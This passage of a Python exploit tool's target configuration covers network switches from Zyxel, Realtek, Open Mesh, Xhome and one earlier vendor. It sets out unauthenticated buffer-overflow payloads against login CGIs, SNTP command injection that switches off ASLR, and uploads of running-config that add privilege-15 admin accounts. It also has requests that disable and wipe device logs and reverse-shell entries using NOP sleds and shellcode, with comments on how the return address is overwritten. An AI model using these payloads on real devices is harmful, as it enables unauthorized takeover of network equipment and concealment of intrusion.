						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',

						#'log_settings_set_cmd':'&logState=1&consoleState=1&ramState=1&fileState=1',	# Enable Logging CMD
						'log_settings_set_cmd':'&empty=1',			# Disable Logging CMD
						'log_settings_set_SIGSEGV':True,			# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'&target=0',				# Clean RAM CMD
						'log_ramClear_SIGSEGV':True,				# Clean RAM SIGSEGV ?

						'log_fileClear_cmd':'&target=1',			# Clean FILE log CMD
						'log_fileClear_SIGSEGV':True,				# Clean FILE log SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'',
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
						'sys_timeSntp_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&dlsType=0',
						'sys_timeSntp_set_check':'&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&dlsType=0',

						'sys_timeSntpDel_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=+&port=139&dlsType=0',				# CMD

						'sys_timeSettings_set_cmd_enable':'&sntp=1',	# Enable CMD
						'sys_timeSettings_set_cmd_disable':'&sntp=0',	# Disable CMD
						'sys_timeSettings_set_SIGSEGV': True,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					}, 
					#
					# After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
					# Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'logout_uri':'/cgi/set.cgi?cmd=home_logout',
						'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
						'stack':True, # False = use Heap, and there are no ASLR
						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},

				},
			},

			'Zyxel': {
				'vendor': 'Zyxel Communications Corp.',
				'modulus_uri':'',
				'info_leak':False,
				'info_leak_JSON':False,
				'info_leak_uri':'',
				'xsid':False,
				'xsid_uri':'',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':False,
					'encryption':'encode',
					'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
					'query':'username=USERNAME&password=PASSWORD&login=1',
					'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547',
					'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
					'vulnerable': False,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':False,
						'disable_uri':'/cgi-bin/dispatcher.cgi',
						'disable_query':'LOGGING_SERVICE=0&cmd=4353',
						'status':'/cgi-bin/dispatcher.cgi?cmd=4352',
						'clean_logfile_uri':'/cgi-bin/dispatcher.cgi',
						'clean_logfile_query':'cmd_4364=Clear+file+messages',
						'clean_logmem_uri':'/cgi-bin/dispatcher.cgi',
						'clean_logmem_query':'cmd_4364=Clear+buffered+messages',
						'vulnerable': True,
						'safe': True
				},
				# Verify lacking authentication
				'verify': {
						'dispatcher.cgi': { # 'username' also suffer from heap overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'response':'502',
							'Content-Type':False,
							'authenticated': False,
							'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
							'content':'username='+ self.random_string(112) + '&password='+ self.random_string(60) + '&STARTUP_BACKUP=1',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'json':False,
						'authenticated': False,
						'encryption':'clear',
						'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
						#'encryption':'nopassword',
						#'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" nopassword\n\n------', # Yep, working too
						'add_uri':'/cgi-bin/httpuploadruncfg.cgi',
						'del_query':'', 
						'del_uri':'/cgi-bin/dispatcher.cgi?cmd=524&usrName=USERNAME',
						'vulnerable': False,
						'safe': True
					}, 
					'sntp': {
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':False,
						'authenticated': True,
						'enable_uri':'/cgi-bin/dispatcher.cgi',
						'enable_query':'sntp_enable=1&cmd=548',
						'status_uri':'',
						'inject_uri':'/cgi-bin/dispatcher.cgi',
						'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550',
						'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550',
						'delete_uri':'/cgi-bin/dispatcher.cgi',
						'delete_query':'sntp_Server=+&sntp_Port=139&cmd=550',
						'disable_uri':'/cgi-bin/dispatcher.cgi',
						'disable_query':'sntp_enable=0&cmd=548',
						'verify_uri':'/tmp/check',
						'vulnerable': False,
						'safe': True
					},

					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					'stack_cgi_diag': {	# Not vulnerable 
						'vulnerable': False,
					},
					'stack_cgi_add_account': {
						'description':'Stack overflow in "username/password" (PoC: add priv 15 credentials)',
						'authenticated': False,
						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(100) +'_JUMP_&password='+ self.random_string(60) +'_CMD_&STARTUP_BACKUP=1',

						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_del_account': {
						'description':'Stack overflow in "username/password" (PoC: del priv 15 credentials)',
						'authenticated': False,
						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(100) +'_JUMP_&password='+ self.random_string(60) +'_CMD_&STARTUP_BACKUP=1',

						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_log': {
						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(100) +'_JUMP_&password='+ self.random_string(60) +'_CMD_&STARTUP_BACKUP=1',

						'log_settings_set_cmd':'&LOGGING_SERVICE=0',			# Disable Logging CMD
						'log_settings_set_SIGSEGV':False,						# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'&_del=0',	# Clean RAM log CMD
						'log_ramClear_SIGSEGV':False,							# Clean RAM log SIGSEGV ?

						'log_fileClear_cmd':'&_del=1',		# Clean FILE log CMD
						'log_fileClear_SIGSEGV':False,							# Clean FILE log SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(100) +'_JUMP_&password='+ self.random_string(60) +'_CMD_&STARTUP_BACKUP=1',

						'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123',
						'sys_timeSntp_set_check':'',

						'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=139',

						'sys_timeSettings_set_cmd_enable':'&sntp_enable=1',
						'sys_timeSettings_set_cmd_disable':'&sntp_enable=0',
						'sys_timeSettings_set_SIGSEGV': False,		# SIGSEGV ?

						'workaround':True,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': False,
						'safe': True
					}, 

					#
					# After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
					# Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
						'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&STARTUP_BACKUP=1',
						'workaround':False,	# My LAB workaround
						'stack':True, # False = use Heap, and there are no ASLR
						'vulnerable': True,
						'safe': True
					},

				},
			},

			'Realtek': {
				'vendor': 'Realtek',
				'modulus_uri':'',
				'info_leak':False,
				'info_leak_JSON':False,
				'info_leak_uri':'',
				'xsid':False,
				'xsid_uri':'',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':False,
					'encryption':'clear',
					'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
					'query':'username=USERNAME&password=PASSWORD&login=1',
					'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547',
					'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
					'vulnerable': True,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':False,
						'disable_uri':'/cgi-bin/dispatcher.cgi',
						'disable_query':'LOGGING_SERVICE=0&cmd=5121',
						'status':'',
						'clean_logfile_uri':'/cgi-bin/dispatcher.cgi',
						'clean_logfile_query':'cmd_5132=Clear+file+messages',
						'clean_logmem_uri':'/cgi-bin/dispatcher.cgi',
						'clean_logmem_query':'cmd_5132=Clear+buffered+messages',
						'vulnerable': True,
						'safe': True
				},
				# Verify lacking authentication
				'verify': {
						'httpuploadbakcfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpuploadbakcfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httpuploadruncfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpuploadruncfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httprestorecfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httprestorecfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httpupload.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpupload.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':'Image Signature Error',
							'vulnerable': True,
							'safe': True
						},
						'dispatcher.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'response':'502',
							'Content-Type':False,
							'authenticated': False,
							'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
							'content':'username=admin&password='+ self.random_string(184) + '&login=1',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'json':False,
						'authenticated': False,
						'encryption':'md5',
						'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" secret encrypted PASSWORD\n\n------',
						'add_uri':'/cgi-bin/httpuploadruncfg.cgi',
						'del_query':'', 
						'del_uri':'/cgi-bin/dispatcher.cgi?cmd=524&usrName=USERNAME',
						'vulnerable': True,
						'safe': True
					}, 
					'sntp': {
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':False,
						'authenticated': True,
						'enable_uri':'/cgi-bin/dispatcher.cgi',
						'enable_query':'sntp_enable=1&cmd=548',
						'status_uri':'',
						'inject_uri':'/cgi-bin/dispatcher.cgi',
						'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550',
						'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550',
						'delete_uri':'/cgi-bin/dispatcher.cgi',
						'delete_query':'sntp_Server=+&sntp_Port=139&cmd=550',
						'disable_uri':'/cgi-bin/dispatcher.cgi',
						'disable_query':'sntp_enable=0&cmd=548',
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					'stack_cgi_diag': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,

						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'&login=1&_CMD_',
						'sys_ping_post_check':'',
						'sys_ping_post_SIGSEGV': False,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround

						'vulnerable': True,
						'safe': True

					},
					'stack_cgi_log': {
						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',

						'log_settings_set_cmd':'&LOGGING_SERVICE=0',# Disable Logging CMD
						'log_settings_set_SIGSEGV':False,			# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'',						# Clean RAM log CMD
						'log_ramClear_SIGSEGV':False,				# Clean RAM log SIGSEGV ?

						'log_fileClear_cmd':'',						# Clean FILE log CMD
						'log_fileClear_SIGSEGV':False,				# Clean FILE log SIGSEGV ?

						'workaround':True,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',

						'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123',
						'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=139',

						'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=139',

						'sys_timeSettings_set_cmd_enable':'&sntp_enable=1',
						'sys_timeSettings_set_cmd_disable':'&sntp_enable=0',
						'sys_timeSettings_set_SIGSEGV': False,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': False,
						'safe': True
					}, 

					#
					# After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
					# Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
						'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1',
						'workaround':True,	# My LAB workaround
						'stack':True, # False = use Heap, and there are no ASLR
						'vulnerable': True,
						'safe': True
					},

				},
			},

			'OpenMESH': { 
				'vendor': 'Open Mesh, Inc.',
				'modulus_uri':'',
				'info_leak':True,
				'info_leak_JSON':False,
				'info_leak_uri':'/loginMsg.js',
				'xsid':False,
				'xsid_uri':'',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':True,
					'encryption':'',
					'login_uri':'',
					'query':'',
					'status_uri':'',
					'logout_uri':'',
					'vulnerable': False,
					'safe': True
				},
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':True,
					'encryption':'',
					'login_uri':'',
					'query':'',
					'status_uri':'',
					'logout_uri':'',
					'vulnerable': False,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':True,
						'disable_uri':'',
						'disable_query':'',
						'status':'',
						'clean_logfile_uri':'',
						'clean_logfile_query':'',
						'clean_logmem_uri':'',
						'clean_logmem_query':'',
						'vulnerable': False,
						'safe': True
				},
				# Verify lacking authentication
				'verify': { 
						'security.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi-bin/security.cgi?login',
							'content':'usr=admin&pswrd=' + self.random_string(280),
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'datajson.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi-bin/datajson.cgi?login',
							'content':'usr=admin&pswrd=' + self.random_string(288),
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/sn_httpupload.cgi?', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'authenticated': False,
						'json':True,
						'encryption':'',
						'content':'',
						'add_uri':'',
						'del_query':'',
						'del_uri':'',
						'vulnerable': False,
						'safe': True
					}, 
					'sntp': {
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':True,
						'authenticated': True,	# <================================
						'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
						'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}',
						'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
						'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp',
						'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}',
						'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}',
						'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel',
						'delete_query':'{"":{}}',
						'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
						'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}',
						'verify_uri':'/tmp/check',
						'vulnerable': True, # It is vulnerable, but I am not using this authenticated code here :>
						'safe': True
					},
					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					# Bonus: Disable and clean logs
					#
					#
					'stack_cgi_add_account': {
						'description':'Stack overflow in "username/password" (PoC: add priv 15 credentials)',
						'authenticated': False,
						'uri':'/cgi-bin/datajson.cgi?login',
						'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_del_account': {
						'description':'Stack overflow in "username/password" (PoC: del priv 15 credentials)',
						'authenticated': False,
						'uri':'/cgi-bin/datajson.cgi?login',
						'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_diag': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,

						'uri':'/cgi-bin/datajson.cgi?login',
						'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
						'verify_uri':'/conf_tmp/check',

						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True

					},
					'stack_cgi_log': {
						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
						'uri':'/cgi-bin/datajson.cgi?login',
						'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

						'log_settings_set_cmd':'&en=0',				# Disable Logging CMD
						'log_settings_set_SIGSEGV':True,			# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'&ta=0',					# Clean RAM CMD
						'log_ramClear_SIGSEGV':True,				# Clean RAM SIGSEGV ?

						'log_fileClear_cmd':'&ta=1',				# Clean FILE log CMD
						'log_fileClear_SIGSEGV':True,				# Clean FILE log SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'',
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi-bin/datajson.cgi?login',
						'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

						'sys_timeSntp_set_cmd':'&sa=`echo 0 > /proc/sys/kernel/randomize_va_space`&sp=123',
						'sys_timeSntp_set_check':'&sa=`cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check`&sp=123',

						'sys_timeSntpDel_set_cmd':'&sa=+&sp=123',				# CMD

						'sys_timeSettings_set_cmd_enable':'&sn=1',	# Enable CMD
						'sys_timeSettings_set_cmd_disable':'&sn=0',	# Disable CMD
						'sys_timeSettings_set_SIGSEGV': True,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'/conf_tmp/check',
						'vulnerable': True,
						'safe': True
					}, 
					#
					# Used for both 'heap' and 'stack'
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi-bin/security.cgi?login',
						'logout_uri':'/cgi-bin/security.cgi?logout',
						'query':'build=NOP&heap=NOP&to=NOP&higher=addresses&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
						'stack':False, # False = use Heap, and there are no ASLR
						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},

				},
			},

			'Xhome': {
				'vendor': 'Xhome',
				'modulus_uri':'',
				'info_leak':False,
				'info_leak_JSON':False,
				'info_leak_uri':'',
				'xsid':False,
				'xsid_uri':'',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':False,
					'encryption':'clear',
					'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
					'query':'username=USERNAME&password=PASSWORD&login=1',
					'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547',
					'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
					'vulnerable': True,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':False,
						'disable_uri':'/cgi-bin/dispatcher.cgi',
						'disable_query':'LOGGING_SERVICE=0&cmd=5121',
						'status':'',
						'clean_logfile_uri':'/cgi-bin/dispatcher.cgi',
						'clean_logfile_query':'cmd_5132=Clear+file+messages',
						'clean_logmem_uri':'/cgi-bin/dispatcher.cgi',
						'clean_logmem_query':'cmd_5132=Clear+buffered+messages',
						'vulnerable': True,
						'safe': True
				},
				# Verify lacking authentication
				'verify': {
						'httpuploadbakcfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpuploadbakcfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httpuploadruncfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpuploadruncfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httprestorecfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httprestorecfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httpupload.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpupload.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':'Image Signature Error',
							'vulnerable': True,
							'safe': True
						},
						'dispatcher.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'response':'502',
							'Content-Type':False,
							'authenticated': False,
							'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
							'content':'username=admin&password='+ self.random_string(184) + '&login=1',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'json':False,
						'authenticated': False,
						'encryption':'md5',
						'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" secret encrypted PASSWORD\n\n------',
						'add_uri':'/cgi-bin/httpuploadruncfg.cgi',
						'del_query':'', 
						'del_uri':'/cgi-bin/dispatcher.cgi?cmd=524&usrName=USERNAME',
						'vulnerable': True,
						'safe': True
					}, 
					'sntp': {
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':False,
						'authenticated': True,
						'enable_uri':'/cgi-bin/dispatcher.cgi',
						'enable_query':'sntp_enable=1&cmd=548',
						'status_uri':'',
						'inject_uri':'/cgi-bin/dispatcher.cgi',
						'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550',
						'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550',
						'delete_uri':'/cgi-bin/dispatcher.cgi',
						'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550',
						'disable_uri':'/cgi-bin/dispatcher.cgi',
						'disable_query':'sntp_enable=0&cmd=548',
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					'stack_cgi_diag': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,

						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'&login=1&_CMD_',
						'sys_ping_post_check':'',
						'sys_ping_post_SIGSEGV': False,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround

						'vulnerable': True,
						'safe': True

					},
					'stack_cgi_log': {
						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
